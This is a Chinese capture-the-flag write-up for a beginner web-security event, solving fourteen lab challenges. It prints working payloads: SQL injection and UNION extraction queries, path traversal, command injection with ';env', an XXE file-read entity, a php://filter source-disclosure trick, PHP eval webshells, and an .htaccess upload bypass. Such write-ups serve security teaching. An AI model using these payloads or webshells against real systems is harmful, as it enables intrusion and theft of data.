1

0 Web入门指北

jsfunk编码，工具一把梭

01 第一章 神秘的手镯

前端直接查看源码找到flag

02 第二章 初识金曦玄轨

bp抓包，看到说前往/golden_trail看看，抓包/golden_trail，在请求头中找到flag

03 第三章 问剑石！篡天改命！

抓包，get传参/test_talent?level=S
post传参json数据{"manifestation":"flowing_azure_clouds"}

04 第四章 金曦破禁与七绝傀儡阵

get传参key=xdsec

post传参declaration=织云阁=第一

修改X-Forwarded-For本地认证为127.0.0.1

修改User-Agent为moe browser

修改cookie为user=xt

修改Referer为http://panshi/entry

修改为PUT方法传参新生！

05 第五章 打上门来！

文件目录穿越

../../flag

06 第六章 藏经禁制？玄机初探！

SQL注入

?username=admin%27+&password=or+%271%27%3D%271

07 第七章 灵蛛探穴与阴阳双生符

robots防爬虫，访问/robots.txt

进入/flag.php

<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
    die("error 1");
}

if(md5($a) != md5($b)){
    die("error 2");
}

echo $flag; error 1

md5弱比较

?a=QNKCDZO&b=240610708

08 第八章 天衍真言，星图显圣

联合注入

首先admin=' UNION SELECT 1,2 #``password=1 确认有回显，存在sql注入

1' union select table_name,2 from information_schema.tables where table_schema=database() #爆破数据库表名flag

1' union select column_name,2 from information_schema.columns where table_name='flag' #爆破数据库列在value

1' union select value,2 from flag #拿到flag

当然也可以sqlmap一把梭

09 第九章 星墟禁制·天机问路

后端并没有真的发送请求出去，用;加上命令执行绕过

找了半天在环境内;env

10 第十章 天机符阵_revenge

XXE攻击

<!DOCTYPE data [
  <!ENTITY abc SYSTEM "file:///flag.txt">
]>
<data>
  <解析>&abc;</解析>
</data>

11 第十一章 千机变·破妄之眼

省流：HDdss看到了 **GET** 参数名由`m,n,o,p,q`这五个字母组成（每个字母出现且仅出现一次），长度正好为 5，虽然不清楚字母的具体顺序，但是他知道**参数名等于参数值**才能进入。

开bp打爆破payload，用python生成个字典

import itertools
chars = "mnopq"
for p in itertools.permutations(chars):
    s = ''.join(p)
    print(s)

设置交叉，GET /?§key§=§key§ HTTP/1.1

HTTP/1.1 302 Found
Host: 127.0.0.1:4018
Date: Fri, 03 Apr 2026 07:11:08 GMT
Connection: close
X-Powered-By: PHP/8.2.29
Set-Cookie: PHPSESSID=30321b356d2da0dcd09a376a1ba1c92f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: find.php
Content-type: text/html; charset=UTF-8

SUCCESS: parameter oqpnm matched

打开/find.php看到flag.php，打开没找到flag，用php://filter/convert.base64-encode/resource=flag.php把flag.php的内容全部用base64编码带出，得到被注释隐藏的flag

12 第十二章 玉魄玄关·破妄

一句话木马，密码cmd
flag在env下

13 第十三章 通幽关·灵纹诡影

文件上传一句话木马

<?php @eval($_POST['a']);?>

然后连webshell

/uploads/one_word.php
密码:a

然后env下找到flag

14 第十四章 御神关·补天玉碑

Apache的.htaccess文件上传
上传两个文件

htaccess

<Files "webshell">
    SetHandler application/x-httpd-php
</Files>

这个会将你上传的相同文件名的文件当做php来执行

webshell

<?php eval($_POST['cmd']); ?>

然后在env下找到flag